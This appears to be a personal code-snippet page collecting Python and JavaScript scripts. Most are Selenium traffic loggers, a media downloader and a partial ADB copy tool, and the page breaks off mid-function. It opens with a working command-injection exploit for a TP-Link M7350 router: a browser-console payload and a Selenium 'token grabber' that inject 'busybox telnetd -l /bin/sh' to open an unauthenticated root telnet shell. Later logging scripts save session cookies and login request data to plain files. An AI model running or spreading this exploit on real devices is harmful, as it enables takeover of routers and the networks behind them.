Py2Exe: https://github.com/pyinstaller/pyinstaller *python-help M7350 Enable telnet ---------------- 1) javascript console hack (paste while logged into router) ====================== window.telnetPoll = window.setInterval(() => { Globals.models.PTModel.add({ applicationName: "telnet", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP" }); alert("Success! You can telnet to the router. infosec.exchange/@alcea/115865543027848903"); window.clearInterval(window.telnetPoll); }, 1000); 2)via Selenium =============== #!/usr/bin/env python3 """ TP-Link Token Grabber - SIMPLE VERSION """ import time from selenium import webdriver from selenium.webdriver.chrome.options import Options import json print("="*60) print("TP-Link Token Grabber") print("="*60) # Setup Brave brave_path = "C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" options = Options() options.binary_location = brave_path options.add_argument("--disable-blink-features=AutomationControlled") # Open browser print("Opening Brave browser...") driver = webdriver.Chrome(options=options) # Go to router print("Navigating to router...") driver.get("http://192.168.0.1") print("\n" + "="*60) print("MANUAL LOGIN REQUIRED") print("="*60) print("Please:") print("1. Login with: admin / password") print("2. Wait for page to load") print("3. Then come back here") print("="*60) input("\nPress Enter AFTER you've logged in...") # Get cookies print("\nChecking cookies...") cookies = driver.get_cookies() token = None for cookie in cookies: print(f"Cookie: {cookie['name']} = {cookie['value'][:20]}...") if 'tpweb_token' in cookie['name'].lower(): token = cookie['value'] print(f"\nšŸŽ‰ FOUND TOKEN: {token}") break if token: print("\n" + "="*60) print("TOKEN FOUND!") print("="*60) print(f"Token: {token}") # Save to file with open("token.txt", "w") as f: f.write(token) print("āœ… Token saved to: token.txt") # Ask about exploit choice = input("\nRun exploit? (y/n): ").lower().strip() if choice == 'y': print("\nšŸš€ Running exploit...") # You can add the exploit code here or run it manually print("Copy this command to run exploit:") print(f"python -c \"import requests; r=requests.post('http://192.168.0.1/qcmap_web_cgi', " f"json={{'token':'{token}','module':'webServer','action':1,'language':'\\$(busybox telnetd -l /bin/sh -p 23)'}}, " f"headers={{'Cookie':'tpweb_token={token}'}}); print(r.status_code, r.text)\"") else: print("\nāŒ No token found in cookies!") print("Trying localStorage...") try: # Check localStorage ls = driver.execute_script("return JSON.stringify(localStorage);") print(f"localStorage: {ls[:200]}...") except: print("Could not access localStorage") print("\nBrowser will stay open for 30 seconds...") print(f"Current URL: {driver.current_url}") print(f"Page title: {driver.title}") time.sleep(30) driver.quit() print("\nDone!") File (via BrowserSession) Downloader selenium ----------------------- from selenium import webdriver from selenium.webdriver.chrome.options import Options import time import json import os import re import requests import mimetypes from datetime import datetime from urllib.parse import urlparse, urljoin import hashlib from concurrent.futures import ThreadPoolExecutor, as_completed # Set up media download directory timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") media_dir = 'mediaout' os.makedirs(media_dir, exist_ok=True) # Set up log file inside media directory log_file_path = os.path.join(media_dir, 'download.log') # Media file extensions to look for MEDIA_EXTENSIONS = { # Images '.png', '.jpg', '.jpeg', '.gif', '.webp', '.bmp', '.tiff', '.svg', # Audio '.mp3', '.wav', '.ogg', '.flac', '.aac', '.m4a', '.wma', # Video '.mp4', '.avi', '.mov', '.wmv', '.flv', '.webm', '.mkv', '.m4v', # 3D Models '.stl', '.obj', '.fbx', '.mtl', '.pmx', '.vrm', '.glb', '.gltf', # Other '.pdf', '.zip', '.rar', '.7z' } def log_download(message, url=None, filename=None, status=None): """Log download activity to the log file""" timestamp_str = datetime.now().strftime("%Y-%m-%d %H:%M:%S") log_entry = f"[{timestamp_str}] {message}" if url: log_entry += f" | URL: {url}" if filename: log_entry += f" | File: {filename}" if status: log_entry += f" | Status: {status}" print(log_entry) with open(log_file_path, 'a', encoding='utf-8') as log_file: log_file.write(log_entry + '\n') def is_media_url(url): """Check if URL points to a media file based on extension or content type""" if not url: return False # Check by file extension parsed_url = urlparse(url) path_lower = parsed_url.path.lower() for ext in MEDIA_EXTENSIONS: if path_lower.endswith(ext): return True # Check for common media patterns in URL media_patterns = [ r'\.(png|jpg|jpeg|gif|webp|bmp|tiff|svg|mp3|wav|ogg|flac|mp4|avi|mov|wmv|flv|webm|mkv|stl|obj|fbx|vrm)($|\?)', r'/media/', r'/uploads/', r'/assets/', r'/images/', r'/audio/', r'/video/', r'/models/', r'\.(mp3|mp4|wav|ogg|flac|avi|mov)($|\?)' ] for pattern in media_patterns: if re.search(pattern, url.lower()): return True return False def sanitize_filename(filename): """Remove invalid characters from filename""" # Replace invalid characters with underscores invalid_chars = '<>:"/\\|?*' for char in invalid_chars: filename = filename.replace(char, '_') # Limit filename length if len(filename) > 200: name, ext = os.path.splitext(filename) filename = name[:200-len(ext)] + ext return filename def download_file(url, base_url): """Download a single file""" try: # Skip data URLs and non-HTTP URLs if url.startswith('data:') or not url.startswith(('http://', 'https://')): return None # Make sure URL is absolute if not url.startswith(('http://', 'https://')): url = urljoin(base_url, url) # Check if it's a media file if not is_media_url(url): return None # Create filename from URL parsed_url = urlparse(url) path = parsed_url.path if not path or path == '/': return None filename = os.path.basename(path) if not filename: # Generate filename from URL hash url_hash = hashlib.md5(url.encode()).hexdigest()[:8] # Try to determine extension from URL path for ext in MEDIA_EXTENSIONS: if ext in path.lower(): filename = f"file_{url_hash}{ext}" break else: # No extension found, check content type later filename = f"file_{url_hash}" # Sanitize filename filename = sanitize_filename(filename) # Create full path filepath = os.path.join(media_dir, filename) # Skip if file already exists if os.path.exists(filepath): log_download("File already exists", url, filename, "SKIPPED") return None # Download file log_download("Starting download", url, filename, "DOWNLOADING") headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36' } response = requests.get(url, headers=headers, stream=True, timeout=30) response.raise_for_status() # Get actual content type content_type = response.headers.get('content-type', '').lower() # Check if content type indicates media is_media_content = any(media_type in content_type for media_type in ['image/', 'audio/', 'video/', 'application/octet-stream', 'model/', 'application/pdf', 'application/zip']) if not is_media_content: log_download("Not a media file by content-type", url, filename, "SKIPPED") return None # Save file with open(filepath, 'wb') as f: for chunk in response.iter_content(chunk_size=8192): if chunk: f.write(chunk) file_size = os.path.getsize(filepath) log_download(f"Download complete ({file_size} bytes)", url, filename, "SUCCESS") return { 'url': url, 'filename': filename, 'size': file_size, 'content_type': content_type, 'timestamp': datetime.now().isoformat() } except Exception as e: log_download(f"Download failed: {str(e)}", url, filename or 'unknown', "FAILED") return None def extract_media_urls_from_logs(performance_logs, base_url): """Extract media URLs from performance logs""" media_urls = set() for entry in performance_logs: try: log_message = json.loads(entry['message'])['message'] method = log_message.get('method', '') if method == 'Network.requestWillBeSent': request = log_message['params'].get('request', {}) url = request.get('url', '') if url and is_media_url(url): media_urls.add(url) elif method == 'Network.responseReceived': response = log_message['params'].get('response', {}) url = response.get('url', '') if url and is_media_url(url): media_urls.add(url) except (json.JSONDecodeError, KeyError): continue return list(media_urls) def extract_media_urls_from_page(driver, base_url): """Extract media URLs from page source""" media_urls = set() # Find media elements in the page media_selectors = [ ('img', 'src'), ('video', 'src'), ('audio', 'src'), ('source', 'src'), ('link[rel="stylesheet"]', 'href'), ('script[src]', 'src'), ('a[href]', 'href'), ('embed', 'src'), ('object', 'data') ] for tag, attr in media_selectors: try: elements = driver.find_elements("css selector", tag) for element in elements: try: url = element.get_attribute(attr) if url and is_media_url(url): # Make URL absolute if not url.startswith(('http://', 'https://', 'data:')): url = urljoin(base_url, url) media_urls.add(url) except: continue except: continue # Also extract URLs from page source using regex page_source = driver.page_source url_patterns = [ r'src=["\']([^"\']+?)["\']', r'href=["\']([^"\']+?)["\']', r'url\(["\']?([^"\'\)]+?)["\']?\)', r'data=["\']([^"\']+?)["\']' ] for pattern in url_patterns: matches = re.findall(pattern, page_source, re.IGNORECASE) for match in matches: if is_media_url(match): if not match.startswith(('http://', 'https://', 'data:')): match = urljoin(base_url, match) media_urls.add(match) return list(media_urls) # Set path to Brave brave_path = "C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" # Configure options options = Options() options.binary_location = brave_path options.set_capability('goog:loggingPrefs', {'performance': 'ALL'}) # Enable performance logging options.add_argument('--log-level=0') options.add_argument('--enable-logging') # Initialize log log_download("="*60) log_download("STARTING MEDIA DOWNLOAD SESSION") log_download(f"Media directory: {os.path.abspath(media_dir)}") log_download(f"Log file: {log_file_path}") # Create driver try: driver = webdriver.Chrome(options=options) # Navigate to the page target_url = "https://mk.absturztau.be/notes/ah3imnbvfewz030h" log_download(f"Navigating to: {target_url}") driver.get(target_url) # Wait for initial load time.sleep(5) # Capture performance logs for initial load log_download("Capturing initial performance logs") initial_logs = driver.get_log('performance') # Extract media URLs from logs log_download("Extracting media URLs from performance logs") urls_from_logs = extract_media_urls_from_logs(initial_logs, target_url) log_download(f"Found {len(urls_from_logs)} media URLs in performance logs") # Extract media URLs from page log_download("Extracting media URLs from page content") urls_from_page = extract_media_urls_from_page(driver, target_url) log_download(f"Found {len(urls_from_page)} media URLs in page content") # Combine all URLs all_urls = set(urls_from_logs + urls_from_page) log_download(f"Total unique media URLs found: {len(all_urls)}") # Download all media files if all_urls: log_download(f"Starting download of {len(all_urls)} files...") # Use thread pool for concurrent downloads successful_downloads = 0 failed_downloads = 0 with ThreadPoolExecutor(max_workers=5) as executor: # Submit all download tasks future_to_url = { executor.submit(download_file, url, target_url): url for url in all_urls } # Process results as they complete for future in as_completed(future_to_url): url = future_to_url[future] try: result = future.result() if result: successful_downloads += 1 else: failed_downloads += 1 except Exception as e: log_download(f"Download task failed: {str(e)}", url, None, "FAILED") failed_downloads += 1 log_download(f"Downloads completed: {successful_downloads} successful, {failed_downloads} failed") else: log_download("No media files found to download") # Summary log_download("="*60) log_download("DOWNLOAD SESSION SUMMARY") # Count downloaded files downloaded_files = [] for file in os.listdir(media_dir): if file != 'download.log': filepath = os.path.join(media_dir, file) if os.path.isfile(filepath): downloaded_files.append(file) log_download(f"Total files in media directory: {len(downloaded_files)}") # Show file sizes total_size = 0 for file in downloaded_files: filepath = os.path.join(media_dir, file) size = os.path.getsize(filepath) total_size += size size_str = f"{size:,} bytes" if size > 1024*1024: size_str = f"{size/(1024*1024):.2f} MB" elif size > 1024: size_str = f"{size/1024:.2f} KB" log_download(f" {file}: {size_str}") total_size_str = f"{total_size:,} bytes" if total_size > 1024*1024: total_size_str = f"{total_size/(1024*1024):.2f} MB" elif total_size > 1024: total_size_str = f"{total_size/1024:.2f} KB" log_download(f"Total downloaded size: {total_size_str}") log_download("="*60) except Exception as e: log_download(f"ERROR: {str(e)}", None, None, "CRITICAL") import traceback log_download(f"Traceback: {traceback.format_exc()}", None, None, "ERROR") finally: # Clean up try: driver.quit() log_download("Browser closed") except: pass log_download("SESSION ENDED") log_download("="*60) print(f"\nMedia download complete!") print(f"Files saved to: {os.path.abspath(media_dir)}") print(f"Download log: {log_file_path}") Selenium Based Website Reverse Engineer Tools: ---------------------------- SelAdvanced.py -- from selenium import webdriver from selenium.webdriver.chrome.options import Options import time import json import os from datetime import datetime # Create unified log file with timestamp timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") log_file = f'unified_log_{timestamp}.jsonl' # JSON Lines format for streaming print(f"All logs will be saved to: {log_file}") # Set path to Brave brave_path = "C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" # Configure options options = Options() options.binary_location = brave_path options.set_capability('goog:loggingPrefs', {'performance': 'ALL'}) # Create driver driver = webdriver.Chrome(options=options) def log_event(event_type, data, metadata=None): """Log an event to the unified log file""" log_entry = { 'timestamp': datetime.now().isoformat(), 'event_type': event_type, 'data': data } if metadata: log_entry['metadata'] = metadata with open(log_file, 'a', encoding='utf-8') as f: f.write(json.dumps(log_entry, default=str) + '\n') print("Opening Brave browser...") log_event('browser_start', {'url': 'https://deviantart.com'}) driver.get("https://deviantart.com") # Save initial page initial_page = driver.page_source log_event('initial_page', { 'url': driver.current_url, 'title': driver.title, 'html_snippet': initial_page[:1000] + '...' if len(initial_page) > 1000 else initial_page, 'html_length': len(initial_page) }) print("\n=== MANUAL LOGIN REQUIRED ===") print("Please:") print("1. Enter your password in the browser") print("2. Click the login button") print("3. Wait for page to load completely") print("4. Then come back here and press Enter") input("\nPress Enter AFTER you've logged in...") # Function to capture and log all network traffic def capture_all_traffic(): """Capture all performance logs and save to unified log""" logs = driver.get_log('performance') for entry in logs: try: log_event('performance_log', entry) # Parse network messages log_message = json.loads(entry['message'])['message'] # Capture different types of network events if log_message.get('method') == 'Network.requestWillBeSent': request = log_message['params']['request'] log_event('network_request', { 'type': 'request', 'url': request.get('url'), 'method': request.get('method'), 'headers': request.get('headers', {}), 'post_data': request.get('postData'), 'timestamp': entry.get('timestamp') }) elif log_message.get('method') == 'Network.responseReceived': response = log_message['params']['response'] log_event('network_response', { 'type': 'response', 'url': response.get('url'), 'status': response.get('status'), 'headers': response.get('headers', {}), 'timestamp': entry.get('timestamp') }) elif log_message.get('method') == 'Network.loadingFinished': log_event('network_loading_finished', { 'type': 'loading_finished', 'request_id': log_message['params'].get('requestId'), 'timestamp': entry.get('timestamp') }) except Exception as e: log_event('parse_error', { 'error': str(e), 'raw_entry': entry }) return len(logs) print("\n=== CAPTURING NETWORK TRAFFIC (PRE-LOGIN) ===") count = capture_all_traffic() print(f"Captured {count} performance entries") # Save current state after login log_event('post_login_state', { 'url': driver.current_url, 'title': driver.title, 'cookies': driver.get_cookies(), 'page_source_length': len(driver.page_source) }) print("\n=== CONTINUOUS MONITORING STARTED ===") print("Now capturing ALL network traffic and user interactions...") print("Press Ctrl+C in this terminal to stop monitoring") try: last_url = driver.current_url interaction_count = 0 while True: # Monitor for URL changes current_url = driver.current_url if current_url != last_url: log_event('navigation', { 'from': last_url, 'to': current_url, 'title': driver.title }) last_url = current_url # Periodically capture network traffic time.sleep(2) # Capture every 2 seconds count = capture_all_traffic() if count > 0: log_event('periodic_capture', { 'entries_captured': count, 'current_url': current_url }) # Capture page state periodically interaction_count += 1 if interaction_count % 5 == 0: # Every 10 seconds log_event('periodic_snapshot', { 'url': current_url, 'title': driver.title, 'window_size': driver.get_window_size(), 'page_source_snippet': driver.page_source[:500] if driver.page_source else '' }) print(f".", end="", flush=True) # Progress indicator except KeyboardInterrupt: print("\n\n=== MONITORING STOPPED BY USER ===") # Final comprehensive capture print("\n=== FINAL CAPTURE ===") final_logs = driver.get_log('performance') log_event('final_capture', { 'performance_entries_count': len(final_logs), 'final_url': driver.current_url, 'final_title': driver.title }) # Save all cookies cookies = driver.get_cookies() log_event('cookies', { 'count': len(cookies), 'cookies': cookies }) # Save final page state log_event('final_page_state', { 'url': driver.current_url, 'title': driver.title, 'page_source_length': len(driver.page_source), 'html_snippet': driver.page_source[:2000] if driver.page_source else '' }) print("\n=== GENERATING SUMMARY ===") # Read all logs and create summary all_events = [] with open(log_file, 'r', encoding='utf-8') as f: for line in f: if line.strip(): all_events.append(json.loads(line)) # Count event types event_counts = {} api_calls = [] login_attempts = [] for event in all_events: event_type = event['event_type'] event_counts[event_type] = event_counts.get(event_type, 0) + 1 # Extract API calls if event_type == 'network_request' and 'data' in event: if 'cgi-bin' in event['data'].get('url', ''): api_calls.append(event) # Extract login attempts if event_type == 'network_request' and 'data' in event: post_data = event['data'].get('post_data', '') if 'authenticator' in str(post_data): login_attempts.append(event) # Create summary file summary_file = f'summary_{timestamp}.txt' with open(summary_file, 'w', encoding='utf-8') as f: f.write(f"=== UNIFIED LOG SUMMARY ===\n") f.write(f"Log file: {log_file}\n") f.write(f"Total events: {len(all_events)}\n") f.write(f"Monitoring duration: From {all_events[0]['timestamp'] if all_events else 'N/A'} to {datetime.now().isoformat()}\n\n") f.write("=== EVENT COUNTS ===\n") for event_type, count in sorted(event_counts.items()): f.write(f"{event_type}: {count}\n") f.write(f"\n=== API CALLS FOUND: {len(api_calls)} ===\n") for i, api in enumerate(api_calls, 1): f.write(f"\n{i}. {api['data'].get('method', 'N/A')} {api['data'].get('url', 'N/A')}\n") if api['data'].get('post_data'): f.write(f" Data: {api['data'].get('post_data')[:200]}...\n") f.write(f"\n=== LOGIN ATTEMPTS: {len(login_attempts)} ===\n") for i, login in enumerate(login_attempts, 1): f.write(f"\n{i}. {login['timestamp']}\n") f.write(f" URL: {login['data'].get('url', 'N/A')}\n") f.write(f" Data: {login['data'].get('post_data', 'N/A')}\n") f.write(f"\n=== NAVIGATION HISTORY ===\n") nav_events = [e for e in all_events if e['event_type'] == 'navigation'] for nav in nav_events: f.write(f"{nav['timestamp']}: {nav['data'].get('from', 'N/A')} -> {nav['data'].get('to', 'N/A')}\n") f.write(f"\n=== FILE INFO ===\n") f.write(f"Unified log: {log_file} ({os.path.getsize(log_file)} bytes)\n") f.write(f"Contains {len(all_events)} events\n") print(f"āœ“ All data saved to: {log_file}") print(f"āœ“ Summary saved to: {summary_file}") print(f"āœ“ Total events captured: {len(all_events)}") print(f"āœ“ API calls found: {len(api_calls)}") print(f"āœ“ Login attempts found: {len(login_attempts)}") # Keep browser open for final inspection print("\nBrowser will remain open for 60 seconds...") print(f"Final URL: {driver.current_url}") print(f"Final title: {driver.title}") time.sleep(60) driver.quit() print("\n=== MONITORING COMPLETE ===") print(f"1. Complete log: {log_file} (JSONL format - one JSON object per line)") print(f"2. Human-readable summary: {summary_file}") print("\nTo read the log file:") print(f"- Use: tail -f {log_file} for real-time viewing") print(f"- Or: cat {log_file} | python -m json.tool for pretty printing") print(f"- Or import in Python: import json; [json.loads(line) for line in open('{log_file}')]") SelAdvanced_02-page-functions.py -- from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.chrome.service import Service import time import json import os from datetime import datetime print("=" * 60) print("BROWSER TRAFFIC LOGGER") print("=" * 60) # Create log file with timestamp timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") log_file = f'browser_logs_{timestamp}.jsonl' print(f"\nAll logs will be saved to: {log_file}") # Set path to Brave brave_path = "C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" # Configure Chrome options options = Options() options.binary_location = brave_path # Add ALL logging arguments options.add_argument("--enable-logging") options.add_argument("--log-level=0") # Most verbose options.add_argument("--v=1") # Enable performance logging for network capture options.set_capability('goog:loggingPrefs', { 'performance': 'ALL', 'browser': 'ALL' }) # Add DevTools automatically options.add_argument("--auto-open-devtools-for-tabs") # Keep browser open options.add_experimental_option("detach", True) # Start maximized options.add_argument("--start-maximized") print("\nStarting browser...") # Create driver driver = webdriver.Chrome(options=options) print("āœ“ Browser started successfully") def save_logs(): """Save all available logs to file""" try: # Get available log types log_types = driver.log_types total_logs = 0 for log_type in log_types: try: logs = driver.get_log(log_type) if logs: print(f" - {log_type}: {len(logs)} entries") # Save each log entry for entry in logs: log_entry = { 'timestamp': datetime.now().isoformat(), 'log_type': log_type, 'data': entry } # Try to parse performance logs if log_type == 'performance' and 'message' in entry: try: message_data = json.loads(entry['message']) log_entry['parsed_message'] = message_data # Extract useful info if 'message' in message_data: msg = message_data['message'] if msg.get('method') == 'Network.requestWillBeSent': request = msg.get('params', {}).get('request', {}) log_entry['extracted'] = { 'type': 'request', 'url': request.get('url'), 'method': request.get('method') } elif msg.get('method') == 'Network.responseReceived': response = msg.get('params', {}).get('response', {}) log_entry['extracted'] = { 'type': 'response', 'url': response.get('url'), 'status': response.get('status') } except Exception as parse_error: log_entry['parse_error'] = str(parse_error) # Write to file with open(log_file, 'a', encoding='utf-8') as f: f.write(json.dumps(log_entry, default=str) + '\n') total_logs += len(logs) except Exception as e: print(f" - Error getting {log_type} logs: {e}") return total_logs except Exception as e: print(f"Error saving logs: {e}") return 0 # Navigate to the website target_url = "https://yusaao.org/bowlroll/" print(f"\nNavigating to: {target_url}") driver.get(target_url) # Wait for page to load time.sleep(3) # Initial save print("\nCapturing initial logs...") initial_logs = save_logs() print(f"āœ“ Captured {initial_logs} initial log entries") # Also save initial page info page_info = { 'url': driver.current_url, 'title': driver.title, 'time': datetime.now().isoformat(), 'type': 'initial_page' } with open(log_file, 'a', encoding='utf-8') as f: f.write(json.dumps(page_info, default=str) + '\n') print("\n" + "=" * 60) print("WHAT TO DO NEXT") print("=" * 60) print("\n1. DevTools should be open (check right side of browser)") print("2. Go to the 'Network' tab in DevTools") print("3. Check 'Preserve log' checkbox") print("4. Perform your login in the browser") print("5. Watch for POST requests in Network tab") print("\nThis script will capture logs automatically every 5 seconds") print("\n" + "=" * 60) print("STARTING AUTOMATIC LOG CAPTURE") print("=" * 60) print("\nPress Ctrl+C to stop") try: capture_count = 0 total_captured = initial_logs while True: time.sleep(5) # Capture every 5 seconds capture_count += 1 new_logs = save_logs() total_captured += new_logs # Print status every few captures if capture_count % 3 == 0 or new_logs > 0: print(f"[{capture_count}] New: {new_logs} | Total: {total_captured}") # Save page info every 30 seconds if capture_count % 6 == 0: # 30 seconds snapshot = { 'timestamp': datetime.now().isoformat(), 'url': driver.current_url, 'title': driver.title, 'type': 'snapshot' } with open(log_file, 'a', encoding='utf-8') as f: f.write(json.dumps(snapshot, default=str) + '\n') except KeyboardInterrupt: print("\n\n" + "=" * 60) print("STOPPING CAPTURE") print("=" * 60) # Final capture print("\nPerforming final capture...") final_logs = save_logs() total_captured += final_logs # Save final state final_state = { 'final_url': driver.current_url, 'final_title': driver.title, 'total_logs': total_captured, 'end_time': datetime.now().isoformat(), 'type': 'final' } with open(log_file, 'a', encoding='utf-8') as f: f.write(json.dumps(final_state, default=str) + '\n') print(f"\nāœ“ Total logs captured: {total_captured}") print(f"āœ“ Log file: {log_file}") # Create analysis print("\n" + "=" * 60) print("QUICK ANALYSIS") print("=" * 60) # Read and analyze the log file try: with open(log_file, 'r', encoding='utf-8') as f: logs = [json.loads(line) for line in f if line.strip()] print(f"Total entries in log: {len(logs)}") # Count by type types = {} network_events = [] post_requests = [] for log in logs: log_type = log.get('type', 'log_entry') types[log_type] = types.get(log_type, 0) + 1 # Look for network requests if 'extracted' in log: extracted = log['extracted'] if extracted.get('type') == 'request': network_events.append(extracted) if extracted.get('method') == 'POST': post_requests.append(extracted) print("\nEntry types:") for t, count in types.items(): print(f" {t}: {count}") print(f"\nNetwork requests found: {len(network_events)}") print(f"POST requests found: {len(post_requests)}") if post_requests: print("\nPOST requests (potential login attempts):") for i, req in enumerate(post_requests[:5], 1): print(f" {i}. {req.get('method')} {req.get('url', 'Unknown')}") except Exception as e: print(f"Could not analyze log: {e}") print("\n" + "=" * 60) print("MANUAL CHECK") print("=" * 60) print("\nIMPORTANT: Check the Network tab in DevTools for:") print("1. Look for POST requests (usually red/pink)") print("2. Right-click → Copy as cURL") print("3. That gives you the exact login request") print("\n" + "=" * 60) print("BROWSER CONTROL") print("=" * 60) print("\nBrowser will stay open. Close it manually when done.") print("\nOr press Enter here to close it...") input() print("\nClosing browser...") driver.quit() print("āœ“ Done!") Hack TPLink Router login (Selenium based) -> transfer and log api calls ----------------------------- from selenium import webdriver from selenium.webdriver.chrome.options import Options import time import json import os from datetime import datetime # Create timestamp for filenames timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") # Set path to Brave brave_path = "C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" # Configure options - ADD NETWORK LOGGING options = Options() options.binary_location = brave_path options.set_capability('goog:loggingPrefs', {'performance': 'ALL'}) # Create driver driver = webdriver.Chrome(options=options) print("Opening Brave browser...") driver.get("http://192.168.0.1") # Save initial page with open(f'login_page_{timestamp}.html', 'w', encoding='utf-8') as f: f.write(driver.page_source) print(f"āœ“ Saved login page to login_page_{timestamp}.html") print("\n=== MANUAL LOGIN REQUIRED ===") print("Please:") print("1. Enter your password in the browser") print("2. Click the login button") print("3. Wait for page to load completely") print("4. Then come back here and press Enter") input("\nPress Enter AFTER you've logged in...") print("\n=== CAPTURING NETWORK TRAFFIC ===") # Get all performance logs logs = driver.get_log('performance') print(f"Found {len(logs)} performance entries") # Save raw logs with open(f'raw_logs_{timestamp}.json', 'w', encoding='utf-8') as f: json.dump(logs, f, indent=2, default=str) print(f"āœ“ Saved raw logs to raw_logs_{timestamp}.json") # Filter for network requests api_calls = [] for entry in logs: try: log = json.loads(entry['message'])['message'] # Look for network requests if log.get('method') == 'Network.requestWillBeSent': request = log['params']['request'] url = request.get('url', '') # Look for CGI/API calls if 'cgi-bin' in url: api_calls.append({ 'url': url, 'method': request.get('method'), 'postData': request.get('postData'), 'headers': request.get('headers', {}), 'timestamp': entry.get('timestamp', '') }) except Exception as e: continue print(f"\nFound {len(api_calls)} CGI/API calls") # Save API calls to file with open(f'api_calls_{timestamp}.json', 'w', encoding='utf-8') as f: json.dump(api_calls, f, indent=2, default=str) print(f"āœ“ Saved API calls to api_calls_{timestamp}.json") # Create a human-readable summary with open(f'api_summary_{timestamp}.txt', 'w', encoding='utf-8') as f: f.write(f"=== API CALLS CAPTURED AT {timestamp} ===\n") f.write(f"Total API calls: {len(api_calls)}\n\n") for i, call in enumerate(api_calls, 1): f.write(f"\n{'='*60}\n") f.write(f"API CALL #{i}\n") f.write(f"{'='*60}\n") f.write(f"URL: {call['url']}\n") f.write(f"Method: {call['method']}\n") f.write(f"Time: {call.get('timestamp', 'N/A')}\n") if call.get('postData'): f.write("\nREQUEST BODY:\n") try: # Try to parse as JSON data = json.loads(call['postData']) f.write(json.dumps(data, indent=2)) # Check if this is a login request if data.get('module') == 'authenticator' and data.get('action') == 1: f.write("\n\nāœ“ THIS IS THE LOGIN REQUEST!\n") f.write(f"Digest used: {data.get('data', {}).get('digest', 'N/A')}") except: f.write(call['postData']) f.write("\n\nHEADERS:\n") for key, value in call.get('headers', {}).items(): f.write(f" {key}: {value}\n") print(f"āœ“ Saved API summary to api_summary_{timestamp}.txt") # Display summary print("\n=== API CALLS SUMMARY ===") for i, call in enumerate(api_calls, 1): print(f"\nCall #{i}: {call['method']} {call['url']}") if call.get('postData'): try: data = json.loads(call['postData']) print(f" Module: {data.get('module', 'N/A')}") print(f" Action: {data.get('action', 'N/A')}") # Highlight login request if data.get('module') == 'authenticator' and data.get('action') == 1: print(" ⭐ LOGIN REQUEST FOUND!") digest = data.get('data', {}).get('digest', 'N/A') print(f" Digest: {digest}") # Save login details separately login_data = { 'timestamp': timestamp, 'url': call['url'], 'method': call['method'], 'request': data, 'digest': digest } with open(f'login_request_{timestamp}.json', 'w', encoding='utf-8') as f: json.dump(login_data, f, indent=2) print(f" āœ“ Saved login request to login_request_{timestamp}.json") except: print(f" Raw data: {call['postData'][:100]}...") print("\n=== SAVING CURRENT PAGE ===") # Save current page after login current_url = driver.current_url print(f"Current URL: {current_url}") print(f"Page title: {driver.title}") # Save HTML with open(f'page_after_login_{timestamp}.html', 'w', encoding='utf-8') as f: f.write(driver.page_source) print(f"āœ“ Saved page HTML to page_after_login_{timestamp}.html") # Take screenshot screenshot_file = f'screenshot_{timestamp}.png' driver.save_screenshot(screenshot_file) print(f"āœ“ Saved screenshot to {screenshot_file}") print("\n=== NOW LET'S FIND STORAGE INFO ===") # Try to navigate to storage page if we can find the link page_source = driver.page_source # Look for storage-related links import re storage_links = re.findall(r'href="([^"]*[Ss]torage[^"]*)"', page_source) if storage_links: print(f"\nFound storage links: {storage_links}") # Save storage links with open(f'storage_links_{timestamp}.txt', 'w', encoding='utf-8') as f: for link in storage_links: f.write(f"{link}\n") print(f"āœ“ Saved storage links to storage_links_{timestamp}.txt") # Look for SD card status if 'icon-top-sdcard' in page_source: print("āœ“ SD card icon found (card is plugged in)") # Look for any storage data in the page storage_data = re.findall(r'>([^<>]*\s*(?:GB|MB|gb|mb)[^<>]*)<', page_source) if storage_data: print("\nFound storage-related data in page:") for data in set(storage_data): # Remove duplicates clean_data = data.strip() if clean_data: print(f" - {clean_data}") # Save all found storage info storage_info = { 'timestamp': timestamp, 'url': current_url, 'storage_links': storage_links, 'sd_card_detected': 'icon-top-sdcard' in page_source, 'storage_data_found': storage_data, 'page_contains_gb_mb': any(x in page_source.lower() for x in ['gb', 'mb']) } with open(f'storage_info_{timestamp}.json', 'w', encoding='utf-8') as f: json.dump(storage_info, f, indent=2) print(f"āœ“ Saved storage info to storage_info_{timestamp}.json") print("\n=== SUMMARY OF FILES SAVED ===") files = [ f'login_page_{timestamp}.html', f'raw_logs_{timestamp}.json', f'api_calls_{timestamp}.json', f'api_summary_{timestamp}.txt', f'page_after_login_{timestamp}.html', screenshot_file, f'storage_links_{timestamp}.txt', f'storage_info_{timestamp}.json' ] for file in files: if os.path.exists(file): size = os.path.getsize(file) print(f"āœ“ {file} ({size} bytes)") # Check if login request was captured login_file = f'login_request_{timestamp}.json' if os.path.exists(login_file): print(f"\n⭐ MOST IMPORTANT FILE: {login_file}") print("This contains the exact login API call!") # Show login details with open(login_file, 'r') as f: login_data = json.load(f) print(f"\nLogin URL: {login_data.get('url')}") print(f"Login method: {login_data.get('method')}") print(f"Digest: {login_data.get('digest')}") print("\n=== NEXT STEPS ===") print("1. Check api_summary_*.txt for the login API call") print("2. Look for a request with module='authenticator' and action=1") print("3. That's the exact login request we need to replicate!") print("\nBrowser will remain open for 30 seconds...") time.sleep(30) driver.quit() print("\nDone! All files have been saved.") Adb copy mount tool (copy microSD FROM android to windows dir) ------------------------------------- import sys import subprocess import ctypes import os import threading import time from datetime import datetime from PyQt6.QtWidgets import ( QApplication, QWidget, QVBoxLayout, QPushButton, QComboBox, QLabel, QLineEdit, QFileDialog, QProgressBar, QTextEdit, QHBoxLayout, QMessageBox ) from PyQt6.QtCore import Qt, pyqtSignal, QObject from PyQt6.QtGui import QFont class CopySignals(QObject): """Signals for copy thread""" progress = pyqtSignal(int, int) # current, total status = pyqtSignal(str) finished = pyqtSignal(bool, str, list) # success, message, failed_files file_progress = pyqtSignal(str, int, int) # filename, current, total def get_adb_mounts(): """Return a 